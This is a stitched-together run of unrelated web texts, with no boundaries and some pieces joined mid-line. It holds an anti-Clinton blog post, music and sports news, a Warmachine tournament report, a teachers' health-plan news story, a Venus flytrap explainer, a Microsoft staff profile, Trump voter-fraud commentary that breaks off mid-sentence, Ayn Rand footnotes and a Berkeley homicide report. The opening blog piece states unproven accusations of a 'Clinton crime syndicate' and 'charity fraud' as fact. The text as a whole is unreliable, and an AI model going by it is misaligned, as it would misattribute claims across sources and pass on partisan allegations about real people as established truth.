“MSNBC host Rachel Maddow asked Clinton in March if she should shut down the Clinton Foundation. “Is there a case to be made, an ethical case to be made that the Clinton Foundation and the global initiative should essentially be wound down as a family foundation while you run for president,” she asked the Democratic candidate. “I think it is not unreasonable to suspect that people may give donations to The Clinton Foundation hoping that they will favorably influence your opinion toward them, as a presidential candidate, or eventually as president if you’re elected.” Clinton sidestepped the question.”
Still, the most reliable and recent information is published in The Daily Caller article, Persian Gulf Sheikhs Gave Bill & Hillary $100 Million, which provides a much needed narrative that deserves wide exposure.
“The FBI has reportedly launched a second investigation of the former secretary in addition to its probe of her private email server. This investigation is looking into “political corruption” and is seeking evidence where former Secretary Clinton may have offered official government favors to foundation donors. Most troubling for Hillary, however, could be Bill’s personal, five-year business partnership with Dubai’s authoritarian ruler, Sheikh Mohammed bin-Rashid al-Maktoum and his overall friendship with the rulers of the United Arab Emirates — a confederation of states that includes Dubai.”
Under her tenure, the Hillary Clinton’s State Department Armed Saudi Arabia to the Teeth, but this only scratches the surface. However, the irony of her War Party devotion is at the heart of Why Hillary Clinton’s “Strongest Issue” Is Actually Her Biggest Farce.
“Hillary Clinton just might be the top salesperson for the military-industrial complex in US history, yet she is claiming to be the undisputed champion of gun control in the 2016 race. The fact that Clinton has sold more weapons than George W. Bush in his second term isn’t mentioned much by the major cable news networks, who have allowed her to get away with the narrative that she wants to keep dangerous weapons out of the hands of killers. But much of the unrest in the Middle East can be traced back to US-supplied weapons during Clinton’s years as Secretary of State, particularly to countries with deplorable human rights records.”
For continuous updates on the Clinton Foundation Corruption News, Judicial Watch discloses some astounding details that few other publications would touch.
“The illicit partnership between Hillary Clinton’s State Department and her family foundation extended even to fundraising. An August 2009 email chain including Hillary Clinton’s then-Chief of Staff Huma Abedin, Mills, and then-Deputy Chief of Staff for Policy Jake Sullivan shows that the State Department coordinated with Clinton Foundation staff on how Mrs. Clinton was to thank Foundation supporters/partners for their “commitments.”
Caitlin Klevorick, senior advisor to the counselor and chief of staff to the secretary of state who previously worked at the Foundation, notes: “One question is if we want to see if there is a decent mass of fs [funds] related commitments to announce together at closing as a ‘mega’ commitment.”
The State Department material includes background information about Clinton Foundation partners, which include Foundation donors Nduna Foundation, Grupo ABCA, and Britannia Industries. Other CGI partners noted in the State Department documents include a federal agency (the Centers for Disease Control) and various United Nations entities, which also receive U.S. taxpayer funds.
The transcript of Hillary Clinton’s speech on the State Department Internet site confirms that the then-secretary of state did thank those making “exceptional commitments” to her husband’s foundation:”
So what can be concluded from looking into the relationships that link the money trail to arms shipments? Clinton Foundation Donors Got Weapons Deals From Hillary Clinton’s State Department gives a clear viewpoint.
“Stephen Walt, a Harvard University professor of international affairs, told IBTimes that the intertwining financial relationships between the Clintons, defense contractors and foreign governments seeking weapons approvals is “a vivid example of a very big problem — the degree to which conflicts of interest have become endemic.” “It has troubled me all along that the Clinton Foundation was not being more scrupulous about who it would take money from and who it wouldn’t,” he said. “American foreign policy is better served if people responsible for it are not even remotely suspected of having these conflicts of interest. When George Marshall was secretary of state, nobody was worried about whether or not he would be distracted by donations to a foundation or to himself. This wasn’t an issue. And that was probably better.”
Operating above the law, reporting requirements and transparent disclosures is a pattern that the Clinton crime syndicate has long practiced. Wall Street Whistleblower Calls Clinton Foundation ‘Charity Fraud’, for a very good reason.
“A Wall Street whistleblower has found a new target for investigation of financial irregularities, and it’s bad news for the Hillary Clinton campaign. Financial advisor Charles Ortel has taken on the Clinton Foundation and says that based on the records he’s found, the organization has been operating in a “boldly illegal” fashion, going as far as to say that “this is a charity fraud.”
Ortel has spent 15 months looking at public records, donor disclosures, and tax filings for all of the Foundation’s projects, including the Clinton Global Initiative, and the Clinton Health Access Initiative. Ortel plans to release 40 reports on what he found on his website, and he claims those reports will prove that the Clinton Foundation has never had to comply with legal requirements to verify their financial claims with independent accountants. Because of this, there is no way to trace billions of dollars sent to the Clinton foundation since 2000 because of the noncompliance with state laws regarding fundraising registration, disclosure requirements, and auditing rules.”
Since the general public is stuck on stupid, the scandals have been shielded over the countless sources of evidence that points directly to the sleaze practiced in the Clinton State Department. Disavowing Hillary’s gravy train should be obvious. However, the establishment is entirely behind the Clinton corruption for a very simple reason. Keeping a known crook in power is better for crony monopolist businesses than contending with a Sanders or a Trump maverick.Photo by Pennie Smith
This morning, posters bearing the Stone Roses' lemon logo mysteriously appeared in various venues around Manchester, England. Today, all has been revealed: The band will reunite next year for three concerts. They'll play Manchester's Etihad Stadium on June 17 and 18, and headline Scotland's T in the Park festival on July 8. Update (11/6 8:31 a.m.): The band have added two extra dates at Etihad Stadium, on June 15 and 19. The latter has already sold out. Update (11/13 9:04 a.m.): They've also added a Dublin date, at Marlay Park on July 9. Update (2/22 8:37 a.m.): They've just announced a Madison Square Garden show for June 30, with support from Rodrigo y Gabriela.
The band's lineup will be Ian Brown, John Squire, Gary Manny "Mani" Mounfield, and Alan "Reni" John Wren. The group first reformed in 2012, when they played dates in Manchester and at various global festivals. On that occasion, 220,000 tickets for the Manchester shows sold out in 68 minutes.
Watch the video for "I Wanna Be Adored":
Embedded content is unavailable.First weekend of September in England means the UK Nationals. It’s a seven round event run out of Element Games in Stockport. I attended and rather than give huge blow by blow battle reports I thought I’d give brief overviews and talk about what I learnt.
It’s first worth pointing out that I entered this tournament pretty down on the game. This happens to all of us from time to time, but a combination of Cygnar and Cryx’s perceived dominance with my inability to find my bearings in the new Scenario pack all troubled me. It’s important to identify your own strengths and weaknesses and the last year has taught me that I am slow to adapt to large changes in the game.
Before we get going, one interesting thing about the new scenario packet is the number of scenarios. From my understanding the UK is unique in it’s penchant for 7 round events. With only six scenarios it does mean we find ourselves repeating one.
Lists:
Doomy3 (Power of Dhunia)
Mountain King
Mulg
Earthborn
Axer
Max Stone + UA
Runeshapers
Whelps
Shaman
Shaman
The list I’ve been running for a while, but with a unit of Runeshapers instead of a Storm Troll. The idea was obviously to have a scoring unit in the list.
Grissel2 (Band of Heroes)
Bomber
Mauler
Bouncer
Min Stone + UA
Max Fennblades + UA
Min Warders
Min Champions
Min Champions
Fell Caller Hero
Again this is similar to my previous Grissel2 list but I found myself annoyed with an inability to crack Khador jacks. I decided that the right models where better than free models so I swapped the storm troll and a unit of Min Warders out for a Mauler. Yes I now only have one free solo, but the list works.
Horgle2 (Band of Heroes)
Runebearer
Mountain King
Blitzer
Earthborn
Axer
Min Stone + UA
Runeshapers
Runeshapers
Janissa
Whelps
I had intended to play a Gunnbjorn list, but my Dozer and Smig got delayed so I was stuck needing to pay something last minute and I decided to go with this list, which was essentially untested. I liked the idea of Boosted Pow 14’s with Crit KD on feat turn from the Runeshapers. I’ve played this twice now and I’m of the opinion this list doesn’t work and there probably isn’t a strong current way to build Horgle2.
Round 1
Grissel2 vs Shae
I panic during list selection. My opponent has two dude spam lists and a Shae list that spams Buccaneers. I worry about playing Doomy3 and being jammed out of the new Scenario packet even if he won’t crack my armour very well. I drop Grissel2 and discover to my horror that Shae’s defense doesn’t drop when she’s knocked down, Buccaneers can’t be knocked down and my Fennblades are pretty amicable to the idea of becoming pirates when Press Ganged. I get assassinated after the Commodore cannon slams the Bomber over my caster.
The lesson here is to trust the strength of the faction. We are a high armour faction that is tough to crack. Unless you see weapon master spam across the table then stick to your guns and do what we do best.
Round 2
Doomy3 vs Nemo3
Doomy3 is my Cygnar drop and I wasn’t going to risk dropping the wrong list this time. I get ahead on attrition. He loses almost all of his Storm Lances before he even gets a chance to feat, but I’ve filled all my beasts and he manages to kill me on his feat turn.
Two losses and two very silly mistakes which means I’m 0-2. It would be fair to say that I was pretty grumpy at this stage. One important note is that the Storm Troll would have kept me 100% safe in that matchup.
Round 3
Horgle2 vs Baldur2
I check his lists over and the lesson of Round1 is still fresh. I know he will drop the double Woldwrath list into me and I feel Horgle is probably the right answer. A damage buff on feat turn means my Mountain king one rounds one of his Roots of the Earth Woldwraths and I eventually assassinate Baldur after he fails to kill my MK in retaliation.
Finally a win. The list may have won, but it feels pretty clunky. The Blitzer inevitably rolls 1 shot when you need more. Also I’m three rounds in and can no longer be list locked. That’s a plus.
Round 4
Doomy3 vs Amon
When I see a Menoth player with Amon, it’s usually what I’m going to see. I really like Doomy3 in the matchup. The Mat 6 Menoth jacks can sometimes struggle against Def 12 Trolls. We also have a time walk feat and soft spell control. This game went in a similar fashion to most, I got an attrition lead and then started scoring control points. My opponent eventually concedes when he has only his caster left and I am scoring all four zones every turn.
Round 5
Grissel2 vs Strakhov2
At UK Nationals the 5th round draw is released on the Saturday Evening so you have a chance to prepare for it, talk to friends, get advice, etc.
My opponent is a local player from Stafford Powerfist. He has switched to Khador from Menoth less than a month ago so he’s still learning the faction. He had played Butcher3 in all four round so far as that was the caster he felt most comfortable with, but I also know he is rooming with one of the best Khador players in the country who know how strong Strakhov 2 is into Trolls. This is kind of important as Grissel2 is my best shot into Strakhov2, but if he drops Butcher3 I’d prefer to drop Doomy3, especially as his Butcher3 is this new style jack spam version.
I guess correctly and drop Grissel2. He’s never played the caster before and I manage to squeeze a scenario victory. Even against someone brand new with the caster Strak2 is so tricky for trolls. Still I’m happy to be in the winning column.
Round 6
Doomy3 vs Vlad1
Dropping Doomy3 into Rockets and hoping it’s enough. I manage to send the MK in and kill a heavy on my alpha and then get the feat up. Vlad is about six inches away from the Mountain King and my opponent is left with two marauders that he doesn’t want to send in under my feat. He attempts a gambit and charges Vlad in with Blood of Kings camping 3. I’m left in a pretty tricky situation and go for a boosted headbut which works and knocks him down. I then finish him with a Rockhammer from a Runeshaper.
Feels like a lucky escape as I needed a boosted 11 to hit that head-butt. Still I’m 4-2 and have a chance to get five wins which would be a first for me at a big seven round event.
Round 7
Doomy3 vs Una2
I’m against my clubmate and regular youtube co-commentator Jacob. We don’t actually play against each other very much, so it’s always pretty cagey. He knows I’ll drop Doomy 3 and he goes for Una2. I feat and send my Mountain king forward. He doesn’t go in and jams with infantry. He then goes in next turn and kills both Mulg and the Earthborn under feat. From there my Mountain King is never in any trouble, but it’s impossible for him to work through Jacob’s army before the game ends on scenario. He wins and I finish a respectable 4-3.
Lessons Learned
I tried Runeshapers this weekend. One unit in Doomy3 and two units in Horgle2. They don’t work. I’d just rather have another beast if I’m honest. They feel expensive and super fragile when all the opponents anti infantry options have nothing else to go after. These things need testing, but the Storm Troll is going back in the Doomy3 list Horgle2 isn’t some undiscovered gem. He might, after CID, be the worst the troll caster. He will certainly be bottom four with Grissel1, Madrak3 and Jarl. His feat is fiddly and the only way to get all the upkeeps out are in Power of Dhunia and nothing in that theme really takes advantage of his spell list. Some people think he will be much better in the Northkin theme. I remain unconvinced. The Scenario pack is fine, it’s taken me a while to adapt, but I don’t think there are any truly problematic scenarios. Even Spread the Net against Strakhov2 Pikemen spam didn’t feel awful. I think it’s just important to score your own flag, even if that means a key solo like the Fell Caller isn’t doing much.
The most important thing the weekend did was bring back my passion for the game. I felt mopey about playing Trolls pre CID, but I’m revitalized and often a tournament will do that for you. Thanks for reading.People line the wall because there are no more seats Thursday during a school board meeting to vote on changing teacher health benefits. Photo by Angela Lewis Foster /Times Free Press. Photo by Angela Lewis Foster /Times Free Press.
Life got tougher Thursday for teachers and school employees whose spouses get health insurance through the Hamilton County Department of Education.
The school's health plan will eliminate working spouses who can get health insurance through their non-school job, the nine-member school board decided unanimously at a 35-minute special meeting before a standing-room-only crowd of upset employees.
"If [spouses] have insurance where they work, they must take that," central office administrator Leon Rash said afterward. "They can't be on our plan."
Teachers fill the room Thursday during a school board meeting to vote on changing teacher health benefits. Teachers fill the room Thursday during a school... Photo by Angela Lewis Foster /Times Free Press.
Spouses who can't get health insurance from an outside job will have to sign an affidavit swearing to that, and school employees will pay an extra $100 each month out-of-pocket toward their spouse's insurance, under the modified "option one" plan the board selected out of three options.
Going into the meeting, option one would have allowed all 1,700 spouses to stay on the school plan - for an extra $100 a month.
POLL: Did the school board make the right decision on teacher health care? Yes
No Submit Results Yes: 0.00 % (0) No: 0.00 % (0) Total Responses: 0
"Option one got a little bit worse," said Sandy Hughes, president of the Hamilton County Education Association, the teachers union. "That was a last-minute change."
Since the board voted unanimously to amend option one and approve it in about half an hour, Hughes thinks board members agreed on the plan during one-on-one phone conversations, which she said are legal under open meetings law.
"They had to have talked on the phone," she said.
While board members didn't debate among themselves, they did address employees who came armed with hand-written signs that bore such slogans as "Teachers Need Respect," "None of the above," and "More Work, less pay!"
The audience was warned at the outset by school board Chairman Mike Evatt, who has retired and had his final meeting Thursday, that outbursts would "not be tolerated" and that he would have unruly people escorted out.
Tensions peaked when board member Rhonda Thurman started a back-and-forth exchange with the crowd by asking rhetorical questions about how they expected the board to cover its ever-increasing health care costs.
She said teachers' unions were part of the problem for supporting the Affordable Care Act, commonly known as Obamacare, which she said put health care cost increases "on steroids."
"Anybody who didn't see this coming is blind," said Thurman, who said she has known that health care costs would become a problem since she joined the school board 10 years ago. "I was elected by the taxpayers to represent them."
One man stormed out of the board meeting, calling out "idiot." Other employees shouted to Thurman, "We are taxpayers."
The school system's health plan covers about 10,000 people, when employees' spouses and children are included, and is generally better than insurance offered by other area employers.
School district officials expected that option one would shave about $5 million off their annual health care cost of about $50 million that was expected to climb to $53 million if no action was taken.
Board member Jeffrey Wilson, who has retired and also attended his last meeting Thursday, got applause when he said, "It hurts that teachers feel unappreciated."
Then Wilson got a smattering of boos when he announced he was going to vote for option one.
"It's like hugging a person and then firing them," Wilson said of his soothing words and unpopular vote. "I know my little hug doesn't do much."
Susan Kite, a librarian at East Ridge Elementary School with 32 years' teaching experience, said she and her disabled husband can't afford to pay the extra $100 or find supplemental insurance for him.
"One hundred extra dollars a month is going to be a killer for us," Kite said.
Anthony Henderson, the band director at Soddy-Daisy Middle School, said the board rushed its vote.
"I'm most disappointed in the timing," said Henderson, who wishes the board had waited for a "collaborative conference" with teachers.
Local school boards in Tennessee don't have to enter collective bargaining agreements with employees under changes made to state law in 2011. That only took effect in Hamilton County in July, when the three-year teachers' contract here expired.
The law that took contracts away still allows teachers to vote for representatives to sit down with the school district to discuss such things as health insurance, Hughes said.
The process starts on Oct. 1, Hughes said, when she'll present Superintendent Rick Smith with a letter asking that a vote for representatives be put before teachers, with the Hamilton County Education Association on the ballot. If the teachers' union wins all the slots, its representatives will talk with school officials about future issues.
"If any other organization gets 15 percent [of the vote], then they get included," Hughes said.
The collaborative conference won't have the clout of a contract, she said.
"It won't, unless we can get five votes on the school board," Hughes said.
Contact staff writer Tim Omarzu at tomarzu@timesfreepress.com or www.facebook.com/tim.omarzu or twitter.com/TimOmarzu or 423-757-6651.Chelsea midfielder Ramires will miss the rest of the Premier League season after accepting a charge of violent conduct.
The Brazilian was sanctioned following an off-the-ball incident with Sebastian Larsson in Saturday's 2-1 defeat by Sunderland.
The 27-year-old will serve a four-match ban after a review panel decision.
Manager Jose Mourinho and assistant Rui Faria are also subject to Football Association charges from the match.
Ramires elbowed Larsson towards the end of the first half at Stamford Bridge but was not punished at the time.
Media playback is not supported on this device Chelsea 1-2 Sunderland: Jose Mourinho 'congratulates' referee
But, after the incident was reviewed by a panel of former referees, Ramires will now miss Chelsea's remaining Premier League fixtures this term - against Liverpool, Norwich and Cardiff - as well as their first game of next season.
He is, however, eligible for the second leg of Chelsea's Champions League semi-final against Atletico Madrid next Wednesday.
Mourinho was charged with misconduct following comments he made after the match.
He congratulated both referee Mike Dean for his performance - which he described as "unbelievable" - and Mike Riley, head of refereeing body Professional Game Match Officials Limited, in a television interview.
The FA alleges that his comments call into question the integrity of Dean and/or Riley and/or bring the game into disrepute.
Faria, who had to be restrained from confronting Dean after Sunderland had been awarded what turned out to the match-winning penalty, has been charged with two counts of misconduct.
Both men have until 18:00 on Monday to respond to their charges.How do Venus Flytraps eat bugs you ask?
Most people think plant leaves are used for just one thing – photosynthesis. Over time, though, plants have evolved and leaves began taking on new jobs, including defense (spines), water storage (succulent plant leaves), and support (tendrils). One plant, though, has adapted to a whole new level: the Venus Flytrap attracts, detects, traps, digests, and absorbs insects, all using a single modified leaf!
Venus Flytraps: Bug-Eaters Extraordinaire
A Venus Flytrap eats anything and everything small enough to fit within its trap. This usually includes bugs like beetles, spiders, and ants, but it will close on anything it can catch, including small frogs and human fingers (rest assured – no humans were harmed in the making of any films)!
To lure in unsuspecting prey, it carefully sets the trap. The trap surface is a bright red color that often attracts bugs. It also secretes a sugary nectar on the surface of the leaves to get the bugs to stay within the danger zone.
Venus Flytraps Can Count
One of the most amazing things about the Venus Flytrap is that it can actually count. If you peek really close at the inside of the trap, you’ll see a few small long hairs on each side of the trap pointing toward the inside. These are actually triggers that the plant uses to sense what’s going on inside the trap. Each time a trigger is bumped, it sets off a very small electrical signal that travels across the leaf. Bump a trigger once and nothing happens. Bump a trigger twice in a row, though, and the trap shuts. This way, the trap avoids shutting for false alarms like raindrops and makes it more likely to catch wriggling bugs in the trap.
The trap is able to shut by using rapid-fire changes in the turgor pressure of the cells. Think of plant cells as balloons. When fully inflated, they’re very rigid and firm. When partially inflated, they’re very loose and saggy. (One of the reasons plants need to be kept well-watered is to keep their cells fully stocked with water. If you forget to water it, the cells lose water and the plant starts to droop.) When a Venus Flytrap senses prey, it instantly shifts intra-cellular water so that the cells on the outside of the trap become very rigid with high turgor pressure while the cells on the inside become very loose with low turgor pressure. This causes the trap to quickly snap shut.
How Venus Flytraps Digest Bugs
Once the trap snaps shut on the unlucky prey, the bug starts to panic. It twists and turns and squirms around, all the while bumping up against the triggers that set off the trap in the first place. Once the triggers are bumped five times, the plant will begin converting itself to an actual stomach. It seals off the edges of the trap to make an air-proof pouch, and then begins secreting digestive enzymes to break down protein and chitin.
Setting Up Shop Again
Admittedly, bugs aren’t very smart. If only it knew to calm down and stop moving, its captor would think it was a false alarm and would open back up in a day (albeit, a very terrifying day) so long as it didn’t trip any more triggers. Instead, depending on the size of the bug, it takes between 5 to 12 days for it to be fully digested before the trap opens back up again with just the empty exoskeleton of the bug it caught. This will blow away or fall out of the trap quite easily, and the trap is set again for the next unsuspecting prey.
Individual traps have a finite life span. They can open and close about 10 times if triggered by false alarms, or they can digest about three to five meals before they stop responding to touch. At this point, the leaf becomes just a leaf, and the plant will use it only for photosynthesis.
Why does the Venus Flytrap eat bugs?
The reason the Venus Flytrap eats bugs is because it’s difficult for the plants to get enough nitrogen from the acidic, boggy soil where it lives. So the Venus Flytrap gets its nitrogen directly from the protein in bugs rather than from the ground and through the roots.
Unfortunately, the plant has a very small range, centered around Wilmington, North Carolina, and the wild population is shrinking. Due to human encroachment and poaching (yes – it’s a thing), the Venus Flytrap is now threatened in the wild.
Regardless of the status of the wild population, though, it’s unlikely that the plant will go extinct due to its fascinating biology and ease of home cultivation. They’re easy to find online and in many garden shops in the US, and for around $10-$15, you can have your very own bug-eater extraordinaire!Editor’s note: This story was originally published in 2016, and Ed retired from Microsoft in 2017.
Ed Sproull was 27 when he woke in the hospital, disoriented and hung over. He felt a searing pain in his left leg, and suddenly the memory of the motorcycle accident came flooding back to him. He had been racing drunk when the brake line blew out, and he clipped his leg on an oncoming car. His upper leg had been fractured in 80 places, and his lower leg had been severed below the knee.
Flash forward 35 years, and Ed is now celebrating his 16th year as an engineer at Microsoft and training for his fifth Iron Man race—and it never would have happened without his superpower, what Ed calls “stupid optimism.”
But this future was hard won.
A rocky past
Losing a limb was a low point in Ed’s life, but he didn’t hit rock bottom until 10 years later, when he landed in prison on a six-year sentence for drug possession. As he lay on a prison cot that first night, using a toilet paper roll as a pillow, he wondered where his life went off the rails.
Ed couldn’t see a way out of this one; his future felt dim. That’s when he met the professor.
Serving time for tax evasion, Dr. Reed was a lively Jamaican professor with a Ph.D. in math. One day he approached Ed. “Listen man, we can play dominos, or we can learn math,” Ed recounts. “I hated dominos, so I said sure, let’s do math.”
Up to that point, Ed’s education consisted of a narrowly acquired high school diploma. “Here I was, a 37-year-old learning how to add fractions. It was humiliating, but it helped fuel my addiction to learning, plus with someone willing to help me—that’s what kept me going,” says Ed.
Dr. Reed helped Ed finish his education and earn an associate’s degree. Later, when the prison cut the education program, Ed refused to stop learning.
One of his previous test proctors slipped Ed contraband textbooks, telling him to take them to the prison library to study. Ed took the books to the library alright, but not before he had labored over every one of those tomes, teaching himself calculus and physics.
“I was literally smuggling books. But what could happen?” he says, laughing. “I mean, I’m already in prison!”
Slowly, one textbook at a time, Ed was forming a new future.
As Ed’s release from prison approached, he found a Newsweek magazine article that featured the top engineering schools in the country and decided to apply to Case Western University, the school closest to his parents.
“I’m sitting there in a prison cell and told my mom I wanted to go to Case Western. The line went dead. ‘Mom? You there?’ She gently asked me if I knew how prestigious and expensive the school was. I did, but I didn’t care. I guess I believed there was a way,” he recalls.
Ed knew he had to at least give it the old college try.
Future, head on
“I still get choked up when I think about it,” Ed says, remembering when he got the news from his mother, telling him that he’d been accepted to Case Western. He calls it a miracle because he still cannot fully explain how he got in.
“My vision for the future was getting bigger and bigger with each step, but the day I knew I was accepted, I felt like the sky was the limit,” he says.
The hardships were far from over.
When Ed started at Case Western, his leg was infected and he needed surgery—so he spent the first term hobbling around on crutches. He felt small, living with his parents at the age of 44, and he racked up debt to pay for tuition.
But he told himself he wasn’t stopping. Ed’s determination helped him graduate Magna Cum Laude with a bachelor of science in computer engineering and a masters of science in engineering one year later.
Ed landed a job at Rockwell right out of grad school, but it wasn’t his first choice.
“All the kids were going to Microsoft—it was the dot com era and a very exciting time. I wanted to be where it was all happening,” he says.
Ed applied to Microsoft and met with a recruiter. It didn’t go well.
“She looked at me totally deadpan, in total friggin’ disbelief,” he says, laughing. He thought people were put off by his age, lack of experience, and maybe even the outdated suit he was wearing.
“But it was Microsoft,” he says emphatically. “We all come from all over the world and all have a different story about how we got here. Mine is a bit unusual, but when you think about it I’m just another part of the puzzle. We all are.”
The stubbornly optimistic Ed continued to beat down the doors of Microsoft. Ed nailed his third attempt, was hired as a software developer in 2000, and started walking into his future, head on.
‘Screw being right’
Ed sits in his office in Redmond Studio F, chatty and super casual in his gym shorts and running shoes. Ed may be 62 but says he eats like a 14-year-old, as he brushes food crumbs off his lap.
He’s hungry all the time because he’s training all the time. He’s competed in 40 triathlons and several Iron Man competitions (which include a 2.4-mile swim, a 112-mile bicycle ride, and a 26.2-mile run).
But he’ll be the first to say he could never have done it alone. This morning, for example, he and his wife, Linda, got up at 5:30 a.m. to swim in the frigid waters of Lake Sammamish and then lift weights at the gym before work. He’s helping her train for her first half Iron Man.
He’s sold on this kind of buddy system, especially at work, and credits helping others as a reason for his longevity at Microsoft.
“Reviews used to be really scary! I used to see people who got ahead by stepping on someone else,” he says. He opted for a different approach, knowing from his past that he’d be happier making someone else look good.
“Screw being right all the time; I’d rather learn something new.”
After working with the Microsoft Shell team for just over 14 years, he’s now taken on the new challenge of trying to shave hours off the time it takes to push out a Windows build.
He readily offers up that he often doesn’t know what he’s doing before he dives into problems like these. But life and work have taught him that the answer will reveal itself as he works the problem with an open mind and a willingness to be wrong.
Ed absent-mindedly scratches his knee just above his prosthetic leg. “I never want to sit on my hands and say, ‘I’m good enough,'” he says.
In a company that is trying to solve the world’s biggest challenges, Ed hopes we keep moving forward by learning, by slowly knocking away at obstacles, one by one, like a good engineer. Like a good athlete. Like a good human.
“Your situation could be really bad, but you’ve got the ability to move the needle just one tick. If you are running and you think you can’t go on, just walk.”
What’s next for Ed? He laughs away the question, but whatever his future holds, you can bet we’ll find an Ed who believes the best future is still yet to come.Pinterest Martin H. Simon
It's been less than a week.
On Wednesday, during his first network television interview since last Friday's inauguration, President Trump kicked off this plum opportunity to assuage the fears of his millions of terrified constituents by staring intently into the camera and doubling down on his favorite insane conspiracy theory which, despite winning the presidential election three months ago, he still cannot seem to let go of.
Via ABC News:
TRUMP: You have people who are dead, who are illegals, who are in two states—you have people registered in two states. They’re registered in New York and in New Jersey, and they vote twice. There are millions of votes, in my opinion.
[Somewhere, Kellyanne Conway nods happily]
DAVID MUIR: When you say "in your opinion" and "millions of illegal votes"—that is something that is extremely fundamental to our functioning democracy, a fair and free election. Now, what you have presented so far has been debunked. It has been called false—
TRUMP: Take a look at the Pew reports—
MUIR: I called the author of the Pew report last night and he told me that they found no evidence of voter fraud.
TRUMP: Really? Then why did he write the report?
MUIR: He said, "No evidence of voter fraud."
TRUMP: Excuse me. Then why did he write the report? He’s groveling. You know, I always talk about the reporters that grovel when they want to write something that you want to hear but not necessarily millions of people want to hear, or have to hear.
Side note: I don't think "groveling" means what Donald Trump thinks it means, but forest/trees. The President of the United States concluded the segment with this:
TRUMP: I will say this: of those votes cast, none of them come to me. They would all be for the other side. None of them come to me. But when you look at the people that are registered, dead, illegal, and two states, and some cases maybe three states? We have a lot to look into.
It's easy to laugh at this, both because you appreciate farce and because you need to do something to mask the pain, but there's an insidious sleight of hand here. It is true that there are dead people who are registered to vote, since most people forget to notify their county elections board of their death. It is also true that there are people—like Steve Bannon, Steven Mnuchin |
9b69b36fcfeaf3b/?utm_term=.d56b46b8c78c.
[8] Rand’s public policy views are scattered over dozens of essays, but a general synthesis can be found in John David Lewis and Gregory Salmieri, “A Philosopher on Her Times,” in Gotthelf and Salmieri, A Companion to Ayn Rand, pp. 351-402.
[9] Ayn Rand, “Introduction,” in her The Fountainhead, 25th anniversary ed. (New York: New American Library, 1968), p. x.
[10] Ayn Rand, “The Objectivist Ethics,” in her The Virtue of Selfishness (New York: Signet, 1964), p. 14.
[11] Ayn Rand, “The Ethics of Emergencies,” in Rand, The Virtue of Selfishness, pp. 43-44.
[12] Rand, “The Objectivist Ethics,” pp. 22-32.
[13] See Rand, “The Objectivist Ethics,” pp. 32-34, and Ayn Rand, “What Is Capitalism?” and “America’s Persecuted Minority: Big Business,” in her Capitalism: The Unknown Ideal (New York: Signet, 1966), pp. 11-34 and 44-62.
[14] See, e.g., Allan Gotthelf, “The Morality of Life,” in Gotthelf and Salmieri, A Companion to Ayn Rand, pp. 73-104; Gregory Salmieri, “Egoism and Altruism,” in Gotthelf and Salmieri, A Companion to Ayn Rand, pp. 130-56; Neera Badhwar, Well-Being: Happiness in a Worthwhile Life (New York: Oxford University Press, 2014); Lester Hunt, “Flourishing Egoism,” Social Philosophy and Policy, vol. 16, no. 1 (1999), pp. 72-95; and Roderick Long, Reason and Value: Aristotle versus Ayn Rand (Poughkeepsie, NY: Objectivist Center, 2000).
[15] The task of developing Objectivist-inspired work that interprets and fleshes out lacunae in Rand’s system falls to others. See, e.g., Tara Smith, Ayn Rand’s Normative Ethics: The Virtuous Egoist (New York: Cambridge University Press, 2006); Tara Smith, Judicial Review in an Objective Legal System (New York: Cambridge University Press, 2015); and Allan Gotthelf and James Lennox, eds., Concepts and Their Role in Knowledge: Reflections on Objectivist Epistemology (Pittsburgh, PA: University of Pittsburgh Press, 2013). All of these works engage with the wider philosophical literature in ways that Rand did not.
[16] One such exception is an excellent piece by John Piper; see his “The Ethics of Ayn Rand: Appreciation and Critique,” Desiring God (June 1, 1979; revised October 9, 2007), accessed online at: http://www.desiringgod.org/articles/the-ethics-of-ayn-rand. A Christian who thinks that Rand is mistaken about rejecting theism, Piper nonetheless offers a careful, nuanced articulation of her ethical egoism. Would that all critics were to take such care with the views of their interlocutors.
[17] Hohmann, “The Daily 202: Ayn Rand Acolyte Donald Trump Stacks His Cabinet with Fellow Objectivists”; Stewart, “As A Guru, Ayn Rand May Have Limits.”Update, Jan. 11, 4:50 p.m. Police have confirmed that Emilie Inman was the woman who was killed Friday.
Update, 8 p.m. The Berkeley Police Department reports that the homicide victim was stabbed but has released no further information. BPD has not released Inman’s name pending official notification from the coroner’s office.
Original post, 12:44 p.m. Friends and family have identified Friday’s homicide victim, found at a Berkeley home on Ashby Avenue, as 27-year-old Berkeley resident Emilie Inman.
Inman — who did not know her killer — was reported missing Friday by friends who asked Berkeleyside to share that news online. Friends and family were alarmed because they could not reach her, and police reported finding a car registered to Inman during their investigation into a case involving both a homicide and a stabbing that sent another woman to the hospital.
No information has been released about the circumstances of the homicide, but the woman who was taken to the hospital was listed in stable condition as of Friday night, the last time the Berkeley Police Department provided an update about her.
In the meantime, friends and family have been sharing their memories and grief about Inman online and some came together Sunday night to remember her. A celebration of her life has been planned for Tuesday.
Inman was a nature program instructor for fifth- and sixth-graders at Sienna Ranch in Lafayette. The organization describes itself as “a family-owned business whose focus is on youth, families, environment, and community.” Berkeleyside was unable to reach the organization for comment.
According to her biography on that site, Inman was “born and raised in the French countryside and Paris” and “had a love of nature and humans.” Her family moved to San Luis Obispo when she was 10, and she went on to major in environmental studies at UC Santa Cruz.
“Teaching K-4th grade classes about intertidal species in Santa Cruz dressed in sea star costumes, working as a naturalist at Walker Creek Ranch in Petaluma, CA, 6 months of travel in New Zealand and working at the Marine Science Institute in Redwood City all are part of her story,” according to the bio.
According to several hours of unconfirmed scanner recordings reviewed by Berkeleyside, a young woman in her early 20s flagged down a passer-by for help near 2600 Ridge Road, just north of campus, at about 11:40 a.m. Friday. The woman had been stabbed and was seriously injured.
As it was described over the scanner, the woman — who is not Inman but whose identity has not been released — had been dropped off in the area after the assault on Ashby. She told police the person who stabbed her was still in the neighborhood. Police immediately began a search while the woman was taken to the hospital.
Police quickly zeroed in on the assault location, about 2 miles south of Ridge Road in the 2400 block of Ashby Avenue near Florence Street, according to scanner traffic. Police searched a home and recovered evidence but did not find the assailant.
The door was wide open when police arrived. A Berkeley resident who passed through the area reported seeing a line of police tape across the whole parking area of a building on Ashby, with two or three BPD SUVs parked in front.
Police said it was not until “much later,” following the initial response, that officers found a body at that home. Authorities have released no further details.
Multiple vehicles were towed as evidence in connection with the case, according to scanner recordings, including vehicles belonging to both the stabbing victim and Inman.
